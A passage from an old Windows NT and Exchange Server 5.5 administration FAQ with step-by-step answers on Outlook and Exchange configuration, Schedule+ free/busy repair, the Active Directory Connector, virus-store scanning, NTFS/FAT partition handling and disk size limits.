A. When you delete an item from the Outlook client (and its been removed from the Deleted Items folder) it is actually kept on the Exchange server for a set amount of time (Exchange Server 5.5 and above only), obviously this only applies if the mail is from an Exchange server, if you use Outlook to download from POP3, IMAP etc this does not work. Mail and can be recovered as follows:

  1. Start the Outlook client
  2. Select the "Deleted Items folder"
  3. Select "Recover Deleted Items" from the Tools menu
  4. Select the message and click the "Recover selected message" button
  5. Close the dialog
  6. The message will be added to the "Deleted Items" folder

To change the number of days Exchange stores deleted items for perform the following:

  1. Start the Exchange Administrator Program (Start - Programs - Microsoft Exchange - Exchange Administrator Program)
  2. Expand the Org, site, Configuration, Servers and select the server
  3. Select Private Information Store and select Properties from the File menu
  4. Select the General tab
  5. Under "Item Recovery" select the number of days to keep deleted items for. You can also select to not delete items until the store has been backed up
  6. Click OK
  7. Close the Exchange Administrator Program
Keep Exchange messages


Q. What workflow software is available for Exchange server?

A. Workflow software is a tool to manage and automate business processes such as order processing, purchasing, support and sales.

Using Microsoft Exchange Server or an SMTP/POP3 server and third party workflow software, you can easily implement powerful workflow applications that will streamline and decrease the cost of a business process.

There are several third party workflow packages available for Exchange server. A few of them are

  • Emailflow for Exchange (http://www.gficomms.com)
  • Keyflow (http://www.keyfile.com)
  • Eastman Kodak (http://www.eastmansoftware.com)

For a complete list please go to http://www.exchangesoftware.com/ or for more information on workflow, go to http://www.workflowsoftware.com.


Q. How do you add an additional Global Address Book or another view to the global address book?

A. This would be useful so, for example, you could separate out vendors email addresses (internet mail) from your actual post office users.

This can not be done easily.

You would have to create Address Book Views. This would divide GAL any way you wanted based on criteria that you provide.

But you have to assign search rights to everyone and if you make one mistake, NO ONE will be able to see anything of Address lists

Here is the procedure for setting up Container Level Search Control using Address Book Views. This allows you to create virtual Exchange Server organizations within a single Exchange Server organization or site. This is useful if you have multiple companies or departments within one Exchange Server organization and you want to prevent these companies or departments from viewing the mailboxes of other companies or departments in the Global Address List.

To set up Container Level Search Control using Address Book Views, perform the following steps:

  1. Set up an anonymous account in the properties of the DS Site Configuration object in the Exchange Administrator program. This can be any Windows NT account.
  2. Open User Manager for Domains and create Global Groups for each department or company (depending on how you wish to separate the organization). Add the respective Windows NT User Accounts to each Global Group. These will be needed for step 4.
  3. Set up an Address Book View. You can use any name for the Display and Directory names. Click the Group By tab in the properties for the new Address Book View, and choose either Company or Department for the Group items by: field (this depends on how you wish to separate the organization).
  4. Open the newly created Address Book View so that you can see the separate companies or departments listed below it. Open the properties of each of these, click the Permissions tab, and add the respective Global Group created in step 2 to the Windows NT accounts with permissions with a role of Search.
  5. In the Exchange Administrator program, click Tools then Options. Click the Permissions tab. Ensure that the two check boxes that read "Show Permissions Page for all objects" and "Display Rights for Roles on Permissions page" are checked.
  6. Open the properties of the Organization object and click the Properties tab. Add the Search right to the Exchange Service Account.

NOTE: Before changing the rights of the Exchange Service Account, make sure that at least one other Windows NT account or group has at least the Permissions Admin Role on the Organization object.

After you perform these steps, you should be able to log on to an Exchange Sever mailbox. Open the Address Book and choose "Show Names from the:" Global Address List. You should only see mailboxes and/or custom recipients from the Address Book View that your mailbox is associated with.

This will not work for any mailbox whose associated Windows NT account has permissions on objects that give them inherited rights to the Address Book Views. These mailboxes will still be able to view the complete Global Address List.


Q. How do I delete a bad Schedule + message?

A. When users free busy information that is not being published to the Schedule+ Free Busy public folder server correctly or free busy information shows free even though a user has appointments you may need to remove the "stuck" or corrupted messages in the Schedule+ Free Busy hidden public folder.

To resolve this use mdbvu32 to remove the corrupt message. Mdbvu32.exe is on the Exchange Server CD in the support/utils directory.

  1. Logon as Exchange Service Account
  2. Create a TEST mailbox with Service Account as NT account on the same server as the Schedule+ Free Busy folder. To find the Schedule+ Free Busy HOME SERVER open the Exchange Administrator program, expand Organization object, Expand Folders Object, Expand System, Folder ObjectExpand Schedule+ Free Busy Object. Beneath the Schedule+ Free Busy object will list SITES where free busy information is being replicated from - Choose the object of YOUR site (not a replicated site). Choose File Properties of the Site Object for the Schedule+ Free Busy. At the bottom of this dialog box (General Tab) HOME SERVER will be listed
  3. Create a profile for the TEST Mailbox in Step 2.

MDBVU32 STEPS

  1. Start the MDB Viewer by double-clicking the executable file Mdbvu32.exe from CD
  2. The MAPILogonEx dialog box will appear click OK.
  3. The Choose Profile dialog box should appear. Select the TEST mailbox profile you created in the prior steps. Click OK. NOTE: If the Choose Profile dialog box does not appear, you are most likely already logged on to a profile. Exit and Log Off the client and profile, and re-attempt step 3.
  4. On the MDB Viewer Test Application menu, click MDB, and then select the OpenMessageStore option.
  5. In the Select Message Store To Open dialog box, select the PUBLIC FOLDER item and click the Open button.(Open Mode should default to Best Access. Leave as default.)
  6. From the MDB Viewer Test Application menu, click the MDB menu item, and click Open Root Folder.
    NOTE: 3 MAPI_E_CALL_FAILED dialog boxes will appear. Choose OK to each of these.
  7. From the Child Folders list box, double-click NON_IPM_SUBTREE. You will now see the SCHEDULE+ FREE BUSY folder.
  8. Double-Click the SCHEDULE+ FREE BUSY object.NOTE: 3 MAPI_E_CALL_FAILED dialog boxes will appear. Choose OK to each of these.
  9. A list of SITES will appear in the Child Folder box. (same sites mentioned in determining HOME SERVER) Example: EX:/o=Organization/ou=Site
  10. Double-click YOUR Site (not a replicated site)
    NOTE: If you cannot read the full name of the site double click each one one at time to see the full name at the top of the next screen. If you've selected the incorrect site choose CLOSE to go back to the list of SITES.
  11. Once the correct site is double-clicked a list of the SCHEDULE+ FREE BUSY messages will appear in the CENTER "Messages In Folder" list box.
  12. Scroll to the RIGHT & DOWN to see user names. Each users should only have 1 item(message). Normally when this problem occurs the user will have 2 items(messages) listed.
  13. Once the message(s) are located for the problem user select the message or messages (using the shift key for multiple messages) so that it becomes highlighted.
  14. Locate the Operations Available drop down box (located below the Messages In Folder dialog box).
  15. 15. Use the drop down and choose lpFld --> DeleteMessages() ON SELECTED MSGS
  16. Once the lpFld --> DeleteMessages() ON SELECTED MSGS is selected. Click the CALL FUNCTION button.
    NOTE: The messages may still be listed in the Messages in Folder list box - this screen will not refresh unless you choose the CLOSE button and come back to it.
  17. Next Exit out of Mdbvu32.exe by choosing CLOSE 4 times which will get you back to the MDB Viewer Test Application dialog box. Choose Session from the Menu Option and then choose Exit.
  18. Have the user who's free busy is not being published logon to their client and make an appointment (this will cause free busy information to be published to the SCHEDULE+ FREE BUSY hidden public folder)
  19. Exit and logoff of the client then check the Free Busy times of the > user by creating a new meeting request. The free busy information should now be visible.

If the information is still not visible go back to step 1 on using mdbvu32 to look at the schedule+ free busy information again check to make sure that 2 messages don't exist. If they do follow steps to remove and complete the process again.


Q. How do I link Exchange 5.5 and the Active Directory?

Q. How do I link Exchange 5.5 and the Windows 2000 Active Directory?

A. The latest beta of Windows 2000 ships with the Microsoft Active Directory Connector (ADC) which replicates a hierarchy of directory objects between the Exchange Server 5.5 directory and the Windows 2000 Active Directory.

But first a potential problem:

Protocol 389 is used for LDAP communication but if you are running Windows 2000 and Exchange 5.5 on the same computer then you may find Exchange has problems starting the LDAP directory service and thus stopping you creating the connection.

To get around this change the port the Exchange LDAP service uses by double clicking LDAP under <Org>\<Site>\Configuration\Protocols and change the protocol, e.g. to 1020. Restart the Exchange Directory service for the change to take effect.

Exchange 5.5 with Service Pack 3 allows you to change the port used by LDAP SSL.

Also if you install Exchange 5.5 on a 2000 domain controller you must make the Exchange Server account a member of the local Server Operators group.

Back to ADC :-)

The software is under the VALUADD\MGMT\ADC directory of the Windows 2000 CD. To install perform the following on the Windows 2000 domain controller:

  1. Run setup.exe from the VALUADD\MGMT\ADC directory
  2. Click Next to the install wizard
  3. Select both the connector service and management components. Click Next
  4. You will be asked where to install. Accept the default and click Next
  5. Enter the Exchange Service account and click Next The account will be granted the 'Audit' right. Click OK
  6. Files will be copied and click Finish once completed

A new icon 'Active Directory Connector Management' will have been added to the 'Administrative Tools' branch.

Now we need to setup a connection agreement between the Exchange Server and the Active Directory:

  1. Start the ADC Management MMC snap-in (Start - Programs - Administrative Tools - Active Directory Connector Management)
  2. Right click on the Active Directory Connector (<machine name>) branch and select 'New - Connection Agreement'
  3. Under the General tab enter a name and select the replication directory:
    - Two-way
    - From Exchange to Windows
    - From Windows to Exchange
  4. Select the 'Connections' tab and fill in connection information as shown below:
    ADC Connector
    Notice I have both on the same machine however you will probably have different Exchange and Domain Controller machines.
  5. Select the Schedule tab to select how often and when to replicate
  6. Select the Deletion tab to control how deletions are handled, either delete from both directories when deleted from one or just note the deletion to a log file.
  7. Under the 'From Exchange' and 'From Windows' tab select the items to replicate.
  8. Click OK
  9. The Exchange Schema will be modified and its directory service will be stopped and restarted.

Now changes will be replicated between the Exchange and Windows 2000 directory services.


Q. What is the upgrade to large table option in Outlook?

A. Microsoft Outlook 98 has a feature, "Allow upgrade to large tables," for Personal Folder (.pst) files. This feature increases the limit on the number of folders per file and the number of messages per folder in a .pst file. The limit has been increased from approximately 16,000 folders per file and messages per folder to approximately 64,000. This upgrade is permanent and cannot be undone.

To enable the upgrade on the Internet Mail Only version of Outlook 98 perform the following:

  1. Start Outlook
  2. Right-click the Folder List, and select Properties on the context menu.
  3. Click the Advanced button.
  4. Click "Allow upgrade to large tables."
  5. Click OK and OK.

To enable on the Corporate Workgroup version:

  1. Start Outlook
  2. On the Tools menu, click Services.
  3. Click to select the Personal Folders service, and click Properties.
  4. On the General tab, click "Allow upgrade to large tables."
  5. Click OK.


Q. How can I disable the Journal in Outlook?

A. The Journal function in Outlook can be used to track document changes and openings, mail actions, meetings and task management however it can take up a large amount of space if not archived regularly.

If you don't want the features of the Journal it can be disabled as follows:

  1. Start Outlook
  2. Select Options from the Tools menu
  3. Select the Preferences tab and click 'Journal Options'
  4. Unselect all boxes and click OK
    Disable the journal
  5. Click OK to the main dialog

No records will be written to the journal now.

If you want to delete all current Journal information select the Journal branch, right click on each entry type, for example Microsoft Word, and select Delete from the context menu.


Q. Internet Mail Server hangs on start-up, ID 7022, why?

A. A FAQ reader recently brought this to my attention who after changing RAS in the network applet to only dial out and rebooting the server the NT event viewer showed an error message saying that The Internet Mail Server hung on start up ID7022. This occurs even if you install Exchange server to NT4 where RAS incoming call handling is disabled. The RAS setting was changed and the event was still generated.

This was resolved by re-enabling the Incoming and outgoing dial access in RAS-> Network -> control applet. In Control panel -> Services selecting RAS Connection manager and setting it to start up as automatic and RAS Access Server and setting it to start up as automatic.


Q. How can I search my Exchange stores for virus infected messages?

A. After the problems with the recent Melissa virus, Microsoft have produced a utility which can search your Exchange store for messages which have been infected with a virus and clean them. This will not in any way prevent the virus from being introduced into the email system, you should ensure you are running anti-virus software to prevent the virus infecting your message stores.

The utility can be downloaded for Exchange 5.5 and 5.0 for both Intel and Alpha

Exchange 5.5 Intel | ftp://ftp.microsoft.com/bussys/exchange/exchange-public/fixes/ENG/Exchg5.5/ISSCAN/ISSCANI.EXE
Exchange 5.5 Alpha | ftp://ftp.microsoft.com/bussys/exchange/exchange-public/fixes/ENG/Exchg5.5/ISSCAN/ISSCANA.EXE
Exchange 5.0 Intel | ftp://ftp.microsoft.com/bussys/exchange/exchange-public/fixes/ENG/Exchg5.0/ISSCAN/ISSCANI.EXE
Exchange 5.0 Alpha | ftp://ftp.microsoft.com/bussys/exchange/exchange-public/fixes/ENG/Exchg5.0/ISSCAN/ISSCANA.EXE

Once downloaded the self extracting file produces two files, ISSCAN.EXE and the symbol file ISSCAN.DBG. Once you copy the files to the server running Exchange it is used as follows (you don't need to copy the .dbg file)

For Exchange 5.5

  1. Logon as an Administrator
  2. Stop the Microsoft Exchange Server Information Store server (via Control Panel - Services)
  3. Enter the command below from the command prompt (cmd.exe)
    C:\> ISSCAN -fix {-pri | -pub} -test badmessage, badattach [-c <criteria file>]
    Where the -fix parameter instructs ISSCAN to remove the messages or attachments found. Without the -fix parameter, ISSCAN will record all the messages and attachments it finds in a log file.
    The -pri or -pub parameter instructs ISSCAN to scan either the private or public information store (priv.edb or pub.edb).
    The -test badmessage parameter deletes messages from the message table determined to be bad. The -test badattach parameter deletes attachments from the attachment table determined to be bad.
    The -c <criteria file> is optionally and allows you to specify which messages ISSCAN will search for. If not used the Melissa virus will be searched for. The format of the criteria file is supplied in the readme file for ISSCAN which can be downloaded from here.

ISSCAN will create a report called either isscan.pri or isscan.pub, depending on whether you are scanning a private store or public store. This report will include the attachment's filename that is deleted, and the sender of a message that is deleted. You can then use this information to determine the users computers who may need extra attention.

This utility is very powerful and can be very constructive or destructive depending on how it is used. Please use with caution and consider every action twice before implementing. There is no undo so restoring a backup is the alternative if a problem occurs. It is recommended that you do not use this utility until a known good backup is secured.


Q. How do I create an Outlook vCard?

A. Microsoft Outlook supports the use of vCards, the Internet standard for creating and sharing virtual business cards. In Outlook, as well as other e-mail applications and personal information managers, you can save a contact as a vCard or save vCards sent in e-mail messages.

To create a vCard to be attached to all outgoing messages perform the following under Outlook 98 and Outlook 2000:

  1. Create a new contact in Contacts of what you want your expanded vCard to look like. Remember this will go to everyone you send mail to so don't include personal information such as home number, address unless you really want to!
  2. From the Tools menu select Options
  3. Select the 'Mail Format' tab
  4. Click the 'Signature Picker..' button
  5. Click New to create a new signature
  6. Enter a name for the signature and click Next
  7. Enter text to be displayed and click 'New vCard from Contact'
  8. Select the contact and click Add. Click OK
  9. Select the new vCard from the dropdown list and click OK
  10. Click OK to the Signature Picker
  11. Click OK to the main options dialog

All outgoing mail will now have your signature and vCard attached.


Q. How can I configure Outlook to be the default mail client?

A. Outlook 98 and Outlook 2000 will prompt you when starting to set as the default mail client if they are not already configured as such however if you checked the "Don't ask me this again" box you cannot display this dialog.

To force Outlook 98 and 2000 to check type the following:

C:\> "c:\program files\microsoft office\office\outlook.exe" /checkclient

Click Yes to the

"Outlook is not currently your default manager for Mail and News.
Would you like to register Outlook as the default manager?"

displayed message.

Clicking Yes updates the following registry entries which you can also manually update (and will need to for older Outlook clients such as Outlook 97)

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Mail
  3. Double click the (Default) value and set to "Microsoft Outlook" (don't type the quotes)
  4. Move to HKEY_CLASSES_ROOT\mailto
  5. Double click the (Default) value and set to "URL:MailTo Protocol" (don't type the quotes)
  6. Double click the EditFlags value and set to 02 00 00 00
  7. Double click the URL Protocol value and clear
  8. Move to the DefaultIcon folder (HKEY_CLASSES_ROOT\mailto\DefaultIcon)
  9. Double click the (Default) value and set to
    "C:\Program Files\Microsoft Office\Office\outllib.dll",-12
  10. Move to HKEY_CLASSES_ROOT\mailto\shell\open\command
  11. Doucle click (Default) and change to
    "C:\Program Files\Microsoft Office\Office\outlook.exe" -c IPM.Note /m "%1"
    Alternate values (such as Lotus Notes) are:
    "C:\Program Files\notes\notes.exe"=C:\WINNT\notes.ini %1
  12. Reboot the computer


Q. How do I install a digital signature in Outlook?

A. A Digital ID, also known as a digital certificate, is the electronic equivalent to a passport or membership card. It is a credential, issued by a trusted authority, that you can present electronically to prove your identity or your right to access information. There are a number of authorities who can grant these certificates, VeriSign is the Microsoft preferred certificate provider.

To request a digital certificate perform the following:

  1. Start Microsoft Outlook
  2. Choose "Options..." from the Tools menu.
  3. Select the "Security" tab.
  4. Click on the "Get a Digital ID..." button at the bottom of the security options window.
  5. From the Microsoft web page that is displayed, click on VeriSign's "Enrol Now" icon.
  6. Fill out the enrolment form with your identifying and billing information.
  7. You will receive an email from VeriSign to corroborate your email address. Follow the instructions in this email to download and install your Digital ID on your computer's hard drive

You can now configure Outlook via the Tools - Options - Security to attach a digital signature to every outgoing message or it can be manually added to messages individually. More information on this can be found at http://www.verisign.com/securemail/outlook98/outlook.html.

If you have multiple machines with Outlook you can install your digital certificate on them by exporting the digital certificate and then importing on the others as follows:

On the machine with the certificate installed perform the following:

  1. Start Outlook
  2. From the Tools menu select Options
  3. Select the Security tab
  4. Click the 'Import/Export Digital ID..' button
  5. Select the 'Export your digital ID to a file'
  6. Under Digital ID click Select and choose your certificate
  7. Select an area to save to and enter a password
  8. Click OK

On the other machines copy the digital ID file created and perform the following:

  1. Start Outlook
  2. From the Tools menu select Options
  3. Select the Security tab
  4. Click the 'Import/Export Digital ID..' button
  5. Select the 'Import existing digital ID from a file'
  6. Select the file the digital ID was saved to
  7. Enter the password for the ID
  8. Enter the Digital ID name, e.g. John Savill
  9. Click OK


Q. How do I create a distribution list in Outlook 2000?

A. Outlook 2000 introduces the ability to create distribution list and populate with people from your contacts list. To create a distribution list perform the following:

  1. Start Outlook 2000
  2. From the Tools menu select 'Address Book'
  3. In the 'Show Names from the' list, click Contacts.
  4. Select 'New Entry' from the File menu
  5. Under the entry type select 'New Distribution List'
  6. Under the 'Put this Entry' select 'In the Contacts'. Click OK

The empty distribution list will now be shown. To add members perform the following:

  1. In the name box type the name for the distribution list
  2. Click the 'Select Members' button to add people to the list
  3. Click Save and Close

Distribution lists can be identified as they are shown in bold.


Q. How can I add a disclaimer to each outgoing mail at server level?

A. You can't do this in Exchange server. You would have to use a third party application such as EMail Essentials for Exchange. To setup a disclaimer in Mail Essentials perform the following:

  1. Start-up the Mail essentials configuration
  2. Go to the disclaimer tab
  3. Switch on disclaimer and enter disclaimer text.

All outgoing mail will now include the disclaimer at the bottom.

Disclaimers can be added to emails on Exchange by using the BackOffice Resource Kit's IMS Extension. It allows pre-/post-text appends for incoming &/or outgoing emails & a journaling feature.

IMSEXT.DLL also allows this to be performed and the following files may be useful:

  • IMSEXT.DLL
  • IMSExtension.htm
  • IMSExtension_examples.htm
  • IMSExtension_installing.htm
  • IMSExtension_troubleshooting.htm
  • IMSExtension_using.htm


Q. How I can I block mail with certain attachments or certain words at server level?

A. You can't do this in Exchange server. You would have to use a third party application such as EMail Essentials for Exchange or Mimesweeper.

To setup a the content checking feature in Mail Essentials;

  1. Start-up the Mail essentials configuration
  2. Go to the content checking tab
  3. Now you can enter:
    a. types of attachments that must be blocked
    b. mails with particular words/phrases in the subject that must be blocked
    c. mails with particular words/phrases in the body that must be blocked
  4. Any mail that is blocked is quarantined in the moderator client.

Administrators/supervisors can then check the mail and either approve or reject it.


Q. How can I automatically compress all outbound mail to save on bandwidth?

A. You would have to use a third party product to do this. Two of these are

1. Mail essentials (http://www.gficomms.com)
2. Max compression (http://www.centralhouse.com)


Q. Unix users can't talk to an Exchange box without Exchange demanding authentication domain\user, why?

Q. Unix users can't talk to an Exchange box News server without requiring authentication domain\user, why?

A. This can be corrected by allowing anonymous access to News as follows:

  1. Start the Exchange Administrator program (Start - Programs - Microsoft Exchange - Microsoft Exchange Administrator)
  2. Expand the Org, site, Configuration and Protocols
  3. Double click NNTP
  4. Select the Anonymous tab
  5. Check the "Allow anonymous access" box
  6. Click Apply
  7. Click OK
  8. Close the Exchange Administrator program


Q. Does the Exchange News server support mode stream?

A. No, Exchange 5.5 does NOT support MODE STREAM. The next major release (ie Platinum) will support MODE STREAM.

MODE STREAM is used by a peer to indicate to the server that it would like to suspend the lock step conversational nature of NNTP and send commands in streams. This command should be used before TAKETHIS and CHECK.


Q. How can I fax from Exchange server?

A. Exchange server does not include a fax connector, you have to buy a third party fax server. One of those connectors is FAXmaker for Exchange, which is available as a free 5 user version.

There is also a complete list of Exchange fax connectors at http://www.ntfaxfaq.com


Q. How can I limit the number of recipients for a message?

A. Using a new registry entry that was added as of 4.0 Service Pack 1 you can set the number of recipients for a message which is the sum of To:, cc: and bcc: (this includes personal distribution lists).

To implement perform the following:

  1. Logon to the Exchange Server
  2. Start the registry editor (regedit.exe)
  3. Move to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\MSExchangeIS\ParametersSystem
  4. From the Edit menu select New - DWORD value
  5. Enter a name of 'Max Recipients on Submit' (don't type the quotes) and press Enter
  6. Double click the new value and set to the max number. Click OK
  7. Close the registry editor
If a user attempts to send a message to more recipients than is designated by the Max Recipients on Submit parameter and the user has the new Emsmdb(32).dll, the following error message may be displayed when the user attempts to send the message:

The item could not be sent. The number of recipients on this message exceeds the upper limit configured by the administrator.

If a user attempts to send a message to more recipients than is designated by the Max Recipients on Submit parameter and the user DOES NOT have the new Emsmdb(32).dll, the following error message may be displayed when the user attempts to send the message:

The item could not be sent. The client operation failed.

More information can be found in Knowledge Base article Q126497 at http://support.microsoft.com/support/kb/articles/q126/4/97.asp.


Q. My outlook .pst file is corrupt what can I do?

A. Windows 95, Outlook 98 and Outlook 2000 all ship with the 'Inbox Repair Tool' which can be used to scan and fix a corrupted .pst (post) file.

This utility is also installed with the Windows Messaging Service Setup on the Microsoft Windows 98 compact disc. You can find these programs in the folder <CD drive>:\tools\oldwin95\message\us\wms.exe.

A shortcut should be located in the Administrative branch of the programs menu but if it is missing or the shortcut does not work SCANPST.EXE should be located in:

  • <NT drive>:\Program Files\Windows Messaging
  • <NT drive>:\Program Files\Common Files\system\Mapi\1033\NT

If its not there try a search of the entire boot partition

C:\> dir/s scanpst.exe

Once located execute and you will be asked for the location of your .pst file and click start. If it finds errors it will fix them. I would advise to backup your .pst file first as sometimes it wipes out most of the content!

If you file was corrupt a folder "lost and found" will be created and you should create a new set of folders and drag items from the "lost and found" folder into their new/correct location. To create a new set of folders perform the following:

  1. Start Outlook with the profile that contains your Recovered Personal Folders.
  2. On the Tools menu, click Services.
  3. On the Services tab, click Add to open the "Add Service to Profile" dialog box.
  4. In the Available Information Services list, click to select Personal Folders, and then click OK.
  5. In the "Create/Open Personal Folders File" dialog box, select a directory and file name for the new Personal Folders file (*.pst), and then click Open.
  6. Click OK to close all dialog boxes.


Q. Where can I get Exchange Server 2000?

A. Exchange Server 2000 (formally known as Platinum) is now at the beta 3 stage and can be downloaded or ordered in CD form from http://www.microsoft.com/exchange/prodinfo/2000/OrderKit.htm.

Exchange 2000 requires Windows 2000 RC 2 or above to install as it uses the Active Directory to store information, such as its configuration.

For a list of the new features see http://www.microsoft.com/exchange/prodinfo/2000/FeaturesGuide.htm.


Q. How can I encrypt email at server level?

A. If you wish to use email encryption at server level, not at client level, you need to use a 3rd party product. The difference between encrypting at server level and not at client level is as follows:

  • You can still virus check & content check attachments.
  • You do not need to setup keys for all users.
  • There is less administration and no need for user education.

One of the downsides is that you can not do it with the Exchange security features. You need to use a 3rd party product. Some of these products are:

  • Mail essentials for Exchange/SMTP - supports S/MIME & PGP encryption www.mailessentials.com
  • Secretsweeper - supports S/MIME encryption - www.mimesweeper.com
  • Tenfour - supports S/MIME & PGP encryption www.tenfour.com


Q. How can I stop the Exchange SMTP service performing reverse lookups?

A. Some SMTP hosts do a reverse Domain Name Service (DNS) lookup for security reasons when an SMTP connection is established. If this reverse lookup fails to resolve properly, they will possibly drop the connection.

To disable reverse lookup for Exchange perform the following:

  1. Start the registry editor (Regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\System|CurrentControlSet\Services\MSExchangeIMC \Parameters\
  3. Double click on DisableReverseResolve (or create of type DWORD if not there)
  4. Set the type to binary and enter 1. Click OK
  5. Close the registry editor


Q. How can I move an Outlook Personal Address Book on a Mac to a PC?

A. This can be done by having the user create a message and address it to all the members of their Personal Address Book. DO NOT SEND THE MESSAGE. Close the message and save it to the Inbox.

When the user connects to their mailbox the PC will have them open the message and then right click on the addresses of the message and add them to the contacts. This only works for single addresses and will not work for personal DLs.


Q. How can a FAT partition be converted to an NTFS partition?

A. From the command line enter the command convert d: /fs:ntfs . This command is one way only, and you cannot convert an NTFS partition to FAT. If the FAT partition is the system partition then the conversion will take place on the next reboot.

After the conversion File Permissions are set to Full Control for everyone, where as if you install directly to NTFS the permissions are set on a stricter basis.


Q. How can a NTFS partition be converted to a FAT partition?

A. A simple conversion is not possible, and the only course of action is to backup all the data on the drive, reformat the disk to FAT and then restore your data backup.

I've been informed that a NTFS to FAT conversion is now possible with PartitionMagic5.0 by PowerQuest.


Q. How do I run HPFS under NT 4.0?

A. If you want NT support for HPFS, you can upgrade from 3.51 to 4.0 which will retain HPFS support. You can manually install the 3.51 driver under NT 4.0, however this is not supported by Microsoft.

  1. Copy the 3.51 pinball.sys to the NT 4.0 %SystemRoot%\system32\drivers directory.
  2. Start the registry editor (regedit.exe)
  3. Goto the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
  4. From the Edit menu, select "New Key"
  5. In the form entry box which appears, enter Pinball as the Key Name. Leave the class field blank, and click OK
  6. Highlight the new Pinball key in the editor's left panel and select New Dword from the Edit menu
  7. Enter a name of ErrorControl and click OK
  8. Double click ErrorControl and set to "0x1"
  9. Highlight Pinball again and select "New String" from the Edit menu with name "Group" click OK
  10. Double click Group and set to "Boot file system"
  11. Highlight Pinball again and select "New DWORD" from the Edit menu with name "Start" click OK
  12. Double click Start and set to "0x1"
  13. Highlight Pinball again and select "New DWORD" from the Edit menu with name "Type" click OK
  14. Double click Type and set to "0x2"
  15. Close the registry editor
  16. Reboot the machine


Q. How do I compress a directory?

A. Follow instructions below (this can only be done on an NTFS partition)

  1. Using Explorer or My Computer select a drive
  2. Right click on a directory and choose properties
  3. Select the "Compress" Check box and click "Apply"
  4. You will be asked if you want to compress subdirectories, click OK
  5. Click OK to exit


Q. How do I uncompress a directory?

A. Follow the same procedure above, but uncheck the compress box.


Q. Is there an NTFS defragmentation tool available?

A. There are a number available for NT that I know of.

  • Diskeeper - This is available from Executive Software, http://www.diskeeper.com. A free cut down version is available for download, Diskeeper Lite. An update to version 5 is available to enable it to run on Windows 2000.
  • Norton Utilities for NT - This contains a disk defragmentation package, http://www.symantec.com
  • PerfectDisk 2000 - from http://www.raxco.com which has some new optimization that Diskeeper does not have and supports Windows 2000 out of the box.
  • O&O Defragmentation - can be purchased from http://www.oo-defrag.com/index-e.html which I have been informed works well.
  • VoptNT - is available from Golden Bow Systems, http://www.goldenbow.com

Windows 2000 has a limited built in defragmentation tool which can be used as follows:

  1. Start the MMC (Start - Run - MMC)
  2. From the console menu select Add/Remove Snap-in
  3. Click Add
  4. Select "Disk Defragmenter" and click Add. Click Close
  5. Click OK to the main Add/Remove dialog
  6. Select the Disk Defragmenter option from Console Root
  7. Select a partition, Analyze and Defragment

Click for full size


Q. Can I undelete a file in NT?

A. It depends on the file system. NT has no undelete facility, however if the filesystem was FAT then boot into DOS and then use the dos undelete utility. With the NT Resource kit there is a utility called DiskProbe which allows a user to view the data on a disk, which could then be copied to another file. It is possible to search sectors for data using DiskProbe.

If the files are deleted on an NTFS partition booting using a DOS disk and using the undelete.exe program is not possible since DOS cannot read NTFS partitions. NTFS does not perform destructive deletes which means the actual data is left intact on the disk (until another file is written in its place) and so a new application from Executive Software, Network Undelete can be used to undelete files from NTFS partitions. A free 30-day version can be downloaded from http://www.networkundelete.com/.

Executive Software also have a free utility Emergency Undelete which can undelete locally deleted files, http://www.execsoft.com.

It is important that once any file is delete all activity on the machine is stopped to reduce the possibility of other files overwriting the data that wants to be recovered.


Q. Does NT support FAT32?

A. Native NT does not support FAT32. NT Internals have released a read-only FAT32 driver for Windows NT 4.0 from http://www.sysinternals.com/fat32.htm, or a full read/write version can be purchased from http://www.winternals.com.

Windows 2000 has full FAT 32(x) support with the following conditions:

  • Pre-existing FAT32(x) partitions up to 127GB will mount and be supported under Windows 2000.
  • Windows 2000 will only allow you to create new FAT32(x) volumes of 32gb or less.


Q. Can you read an NTFS partition from DOS?

A. Not with standard DOS, however there is a product called NTFSDos which enables a user to read from a NTFS partition. The homepage for this utility is http://www.sysinternals.com.


Q. How do you delete a NTFS partition?

A. You can boot off of the three NT installation disks and follow the instructions below:

  1. Read the license agreement and press F8
  2. Select the NTFS partition you wish to delete
  3. Press L to confirm
  4. Press F3 twice to exit the NT setup

Usually a NTFS partition can be deleted using FDISK (delete non-DOS partition), however this will not work if the NTFS partition is in the extended partition.

You can delete an NTFS partition using Disk Administrator, by selecting the partition and pressing DEL (as long as it is not the system/boot partition).

There is also a utility called delpart.exe that will delete a NTFS partition from a DOS bootup.


Q. Is it possible to repartition a disk without losing data?

A. There is no standard way in NT, however there is a 3rd party product called Partition Magic which will repartition FAT, NTFS and FAT32, however there is a bug in the product which makes the boot partition unbootable if it is repartitioned. A fix is available for this from their web site


Q. What is the biggest disk NT can use?

A. The simple answer to this question is that NT can view a maximum partition size of 2 terabytes (or 2,199,023,255,552 bytes), however there are limitations that restrict you well below this number.

FAT has internal limits of 4 GB due to thefact it uses 16-bit fields to store file sizes, 2^16 is 65,536 with a cluster size of 64 KB gives us the 4 GB.

HPFS uses 32bit fields and can therefore handle greater size disks, but the largest single file size is 4GB. HPFS allocates disk space in 512 byte sectors which can cause problems in Asian markets where sector sizes are typically 1024 bytes which means HPFS cannot be used.

NTFS uses 64-bits for all sizes, leading to a max size of..... 16 exabytes!!! (18,446,744,073,709,551,616 bytes), however NT could not handle a volume this big.

For IDE drives, the maximum is 136.9 GB, however for a standard IDE drive this is constrained to 528MB. The new EIDE drives can access much larger sizes.

It is important to note that the System partition (holding ntldr, boot.ini, etc.) MUST be entirely within the first 7.8Gb of any disk (if this is the same as the boot partition this limit applies) This is due to the BIOS int 13H interface used by ntldr to bootstrap up to the point where it can drive the native HDD IDE or SCSI. int 13H presents a 24 bit parameter for cylinder/head/sector for a drive. If say by defragmentation the system are moved beyond this point you will not be able to boot the system.

The boot process starts with your BIOS (Basic Input/Output System), not Windows NT.

The BIOS locates the beginning of a partition by using three numbers, the Starting Side (or Head), the Starting Cylinder, and the Starting Sector.

The end of a partition is identified by three similar numbers. The Side value is 8 bits with a range from 0 to 255 (256 numbers); the Cylinder is 10 bits, and can range from 0 to 1023 (1024 numbers); the Sector is 6 bits, and can range from 1 to 63 (63 numbers). (Note that zero is not a valid sector number.) This means the maximum address on the disk is Side 255, Cylinder 1023, Sector 63. The number of sectors is 256 X 1023 X 63, or almost 16.5 million sectors. Standard sectors are 512 bytes, so hence the size of 7.87GB in which the system files must reside in.

